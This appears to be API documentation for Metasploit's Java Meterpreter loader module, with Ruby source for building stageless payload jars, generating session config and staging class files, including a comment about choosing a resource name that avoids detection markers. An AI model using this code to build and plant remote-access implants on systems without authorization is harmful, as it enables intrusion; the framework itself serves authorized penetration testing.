Module: Msf::Payload::Java::MeterpreterLoader

Includes:
Msf::Payload::Java, UUID::Options, Sessions::MeterpreterOptions::Java
Defined in:
lib/msf/core/payload/java/meterpreter_loader.rb

Overview

Common module stub for Java payloads that make use of Meterpreter.

Constant Summary collapse

STAGELESS_CONFIG_RESOURCE =

Resource path the stageless StagelessMain bootstrap reads. Deliberately innocuous – no meterpreter/metasploit markers in the name.

'META-INF/data'.freeze
STAGELESS_MAIN_CLASS =
'com.metasploit.meterpreter.StagelessMain'.freeze
STAGELESS_EXTRA_CLASSES =

Build a self-contained stageless jar: take the prebuilt meterpreter.jar, rewrite its manifest to point at StagelessMain, and embed the encoded config as a jar resource that StagelessMain reads at startup. Returns the Rex::Zip::Jar so callers can either .pack it (legacy stage path) or hand it to msfvenom’s encoded_jar/generate_jar pipeline. Extra classes the stageless jar needs beyond the shaded meterpreter jar. JarFileClassLoader lives in the javapayload artifact (which the shade plugin deliberately excludes), but ‘Meterpreter#loadExtension` uses it to load extension jars at runtime.

[
  %w[com metasploit meterpreter JarFileClassLoader.class],
].freeze

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITPH, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Constants included from Msf::Payload::Java

ForceDynamicCachedSize

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_cookie_resource, #process_query_string_resource, #process_uri_resource, #process_uuid_string, #uri_checksum_lookup

Methods included from Msf::Payload::Java

#class_files, #generate, #generate_axis2, #generate_default_stage, #generate_stage, #generate_war

Instance Method Details

#build_stageless_jar(src_jar, config_bytes) ⇒ Object



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 85

def build_stageless_jar(src_jar, config_bytes)
  jar = Rex::Zip::Jar.new
  ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip|
    zip.each do |entry|
      next if entry.directory?
      next if entry.name == 'META-INF/MANIFEST.MF'
      next if entry.name == STAGELESS_CONFIG_RESOURCE
      jar.add_file(entry.name, entry.get_input_stream.read)
    end
  end
  STAGELESS_EXTRA_CLASSES.each do |parts|
    jar.add_file(parts.join('/'), ::MetasploitPayloads.read('java', *parts))
  end
  jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes)
  jar.build_manifest(main_class: STAGELESS_MAIN_CLASS)
  jar
end

#generate_config(opts = {}) ⇒ Object



120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 120

def generate_config(opts={})
  opts[:uuid] ||= generate_payload_uuid
  ds = opts[:datastore] || datastore

  # create the configuration block, which for staged connections is really simple.
  config_opts = {
    ascii_str:  true,
    arch:       opts[:uuid].arch,
    expiration: ds['SessionExpirationTimeout'].to_i,
    uuid:       opts[:uuid],
    transports: opts[:transport_config] || [transport_config(opts)],
    extensions: opts[:extensions] || [],
    ext_format: 'jar',
    stageless:  opts[:stageless] == true
  }

  # create the configuration instance based off the parameters
  config = Rex::Payloads::Meterpreter::Config.new(config_opts)

  # return the binary version of it
  config.to_b
end

#generate_jar(opts = {}) ⇒ Object

‘Msf::Simple::Payload.generate_simple` reaches the jar bytes via `encoded_jar` -> `pinst.generate_jar`. The Java meterpreter modules that include this mixin are all `Msf::Payload::Single` (stageless), so build the self-contained jar instead of falling back to `Msf::Payload::Java#generate_jar`, which would emit the staged `metasploit.Payload` loader jar. When the calling module flags `opts`, build the self-contained jar via `build_stageless_jar`. Otherwise fall back to `Msf::Payload::Java#generate_jar`, which emits the staged `metasploit.Payload` loader jar.



113
114
115
116
117
118
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 113

def generate_jar(opts={})
  return super unless opts[:stageless]

  src_jar = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
  build_stageless_jar(src_jar, generate_config(opts))
end

#initialize(info = {}) ⇒ Object



25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 25

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Java Meterpreter & Configuration',
    'Description'   => 'Java-specific meterpreter generation',
    'Author'        => ['OJ Reeves'],
    'Platform'      => 'java',
    'Arch'          => ARCH_JAVA,
    'PayloadCompat' => {'Convention' => 'http https'},
    'Stage'         => {'Payload' => ''}
    ))
end

#stage_class_filesObject



143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 143

def stage_class_files
  # Order matters.  Classes can only reference classes that have already
  # been sent.  The last .class must implement Stage, i.e. have a start()
  # method.
  #
  # The Meterpreter.class stage is just a jar loader, not really anything
  # to do with meterpreter specifically.  This payload should eventually
  # be replaced with an actual meterpreter stage so we don't have to send
  # a second jar.
  [
    [ "javapayload", "stage", "Stage.class" ],
    [ "com", "metasploit", "meterpreter", "JarFileClassLoader.class" ],
    # Must be last!
    [ "javapayload", "stage", "Meterpreter.class" ],
  ]
end

#stage_meterpreter(opts = {}) ⇒ Object

Override the Payload::Java version so we can load a prebuilt jar to be used as the final stage; calls super to get the intermediate stager.

When opts is set, returns a self-contained jar with the TLV config embedded as a resource and Main-Class pinned to StagelessMain – ready to run under ‘java -jar`.



49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 49

def stage_meterpreter(opts={})
  met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
  config = generate_config(opts)

  return build_stageless_jar(met, config).pack if opts[:stageless]

  # All of the dependencies to create a jar loader, followed by the length
  # of the jar and the jar itself, then the config
  blocks = [
    generate_default_stage(opts),
    [met.length, met].pack('NA*'),
    [config.length, config].pack('NA*')
  ]

  # Deliberate off by 1 here. The call to super adds a null terminator
  # so we would add 1 for the null terminate and remove one for the call
  # to super.
  block_count = blocks.length + stage_class_files.length

  # Pack all the magic together
  (blocks + [block_count]).pack('A*' * blocks.length + 'N')
end

#stage_payload(opts = {}) ⇒ Object



37
38
39
# File 'lib/msf/core/payload/java/meterpreter_loader.rb', line 37

def stage_payload(opts={})
  stage_meterpreter(opts)
end